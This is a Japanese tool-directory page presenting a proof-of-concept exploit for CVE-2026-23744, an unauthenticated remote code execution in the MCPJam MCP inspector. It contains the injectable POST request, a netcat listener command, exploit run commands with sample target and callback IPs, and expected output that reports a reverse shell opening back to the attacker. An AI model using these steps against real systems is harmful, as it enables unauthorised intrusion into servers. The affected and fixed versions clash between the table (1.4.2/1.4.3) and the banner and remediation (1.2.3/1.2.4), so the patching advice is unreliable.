Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/jf-gondim/mcp-pwn
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育レッドチーミング
GitHubjf-gondim/mcp-pwn

mcp-pwn

CVE-2026-23744のPoCエクスプロイト — 認証不要のRCE in MCPJam Inspector、未検証のserverConfigコマンドインジェクションを介した/api/mcp/connect上で、認証なしでプロセス所有者としてリバースシェルを可能にする。

リポジトリを見る
373ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-23744 — MCPJam 未認証リモートコード実行

概要

MCPJam は、MCP (Model Context Protocol) サーバーへの接続、デバッグ、管理に使用されるオープンソースの MCP インスペクター兼プロキシです。バージョン <= 1.4.2 では、/api/mcp/connect エンドポイントが認証や入力検証なしで公開されています。未認証のリモート攻撃者は、serverConfig.command / serverConfig.args フィールドを介して任意の OS コマンドを注入し、プロセス所有者の権限でリモートコード実行を取得できます。


脆弱性の詳細

フィールド値
CVE IDCVE-2026-23744
CVSS スコア9.8 (クリティカル)
CVSS ベクトルCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-78 — OS コマンドにおける特殊要素の不適切な無害化
コンポーネントMCPJam MCP プロキシインスペクター
影響を受けるMCPJam <= 1.4.2
修正済みMCPJam >= 1.4.3
攻撃ベクトルネットワーク — 認証不要
開示日2026-01-15

技術的分析

脆弱なエンドポイントは、認証なしの JSON POST リクエストを受け入れます:

root@kitploit:~
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_CONTROLLED>"],
    "env": {}
  },
  "serverId": "any_string"
}

MCPJam は command と args を Node.js のプロセス生成 (child_process.spawn または同等のもの) に直接渡します。以下の対策は一切行われていません:

  • 入力検証またはコマンドの許可リスト
  • このエンドポイントでの認証または権限の強制
  • サンドボックス化、名前空間分離、または権限降格

ポート 3000(デフォルト)に到達可能な攻撃者は、args[1] にリバースシェルペイロードを仕込み、MCPJam プロセス所有者(多くの場合 root や広範なシステムアクセス権を持つサービスアカウント)としてシェルを取得できます。

根本原因

/api/mcp/connect に認証ミドルウェアガードがないことと、プロセス生成呼び出しでユーザー指定の値を制御なしに使用していることが組み合わさり、典型的な 未認証 OS コマンドインジェクション (CWE-78) を引き起こします。


エクスプロイトの使用方法

必要条件

root@kitploit:~
pip install requests urllib3

引数

root@kitploit:~
  -t, --target          ターゲットの IP アドレスまたはホスト名
  -p, --port            ターゲットポート(デフォルト MCPJam: 3000)
  -l, --lhost           リバースシェルコールバック用のローカル IP
  -r, --lport           リバースシェルコールバック用のローカルポート
      --timeout         ターゲットの可用性を待機する秒数(デフォルト: 30)
      --shell-timeout   シェルがドロップしたとみなす前の POST タイムアウト(デフォルト: 5)
  -v, --verbose         完全な HTTP レスポンスボディを表示

ステップバイステップ

1. マシンで netcat リスナーを起動:

root@kitploit:~
nc -lvnp 4444

2. エクスプロイトを実行:

root@kitploit:~
# 基本
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444

# 詳細出力 + 延長された可用性タイムアウト(応答の遅いターゲット向け)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v

# より長いシェルタイムアウト(シェルが確立されるまでより多くの時間を与える)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10

期待される出力

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║     MCPJam  ·  serverConfig インジェクションによる未認証 RCE        ║
 ║                        CVE-2026-23744                             ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2026-23744
  コンポーネント :  MCPJam MCP プロキシインスペクター
  影響を受ける :  <= 1.2.3   →  修正済み: >= 1.2.4
  CVSS スコア :  9.8 (クリティカル)
  CVSS ベクトル :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-78 — OS コマンドインジェクション
  タイプ       :  未認証リモートコード実行  (ネットワーク / 認証不要)
  参照       :  https://nvd.nist.gov/vuln/detail/CVE-2026-23744

  10:32:01 [*] ターゲット 10.10.11.50:3000 を調査中 (最大 30 秒) ...
  10:32:02 [+] ターゲットは稼働中 — HTTP 200

  10:32:02 [*] エクスプロイトエンドポイント  : http://10.10.11.50:3000/api/mcp/connect
  10:32:02 [*] リバースシェルコールバック  : 10.10.14.5:4444
  10:32:02 [!] リスナーを確認   : nc -lvnp 4444
  10:32:02 [*] ペイロードを発射    ...

  10:32:07 [+] POST が 5 秒後にタイムアウト — リバースシェルが 10.10.14.5:4444 で確立された可能性があります
  10:32:07 [+] netcat リスナーに切り替えてください — 着信接続を期待します。

  10:32:07 [+] エクスプロイト処理が完了しました。

タイムアウト = 成功の指標。 POST リクエストがタイムアウトした場合、ターゲットプロセスは開いたリバースシェルでブロックされています — これは期待される動作であり、RCE が達成されたことを確認します。すぐにリスナーに切り替えてください。


修復

優先度対応
クリティカルMCPJam を >= 1.2.4 に更新
高/api/mcp/connect を認証ミドルウェアの背後に制限
高信頼できる IP からのみ MCPJam ポートへのアクセスを制限するネットワークレベルのファイアウォールルールを適用
中serverConfig.command に許可される値をホワイトリスト化
中MCPJam をコンテナ内で、または制限された Linux ユーザー(シェルなし、/dev/tcp なし)で実行
低プロセス生成イベントの監査ログを有効化

参考文献

  • CVE-2026-23744: HTTP エンドポイント露出による MCPJam インスペクターの RCE
  • NVD — CVE-2026-23744
  • CWE-78: OS コマンドインジェクション
  • OWASP: コマンドインジェクション
  • OWASP Top 10: A03 インジェクション
  • Model Context Protocol — セキュリティ考慮事項
  • MCPJam プロジェクト

免責事項

このエクスプロイトは、教育目的および許可されたセキュリティテストのためにのみ提供されます。所有しているか、明示的な書面による許可を得たシステムに対してのみ使用してください。無許可での使用は違法かつ非倫理的です。

ツールをダウンロード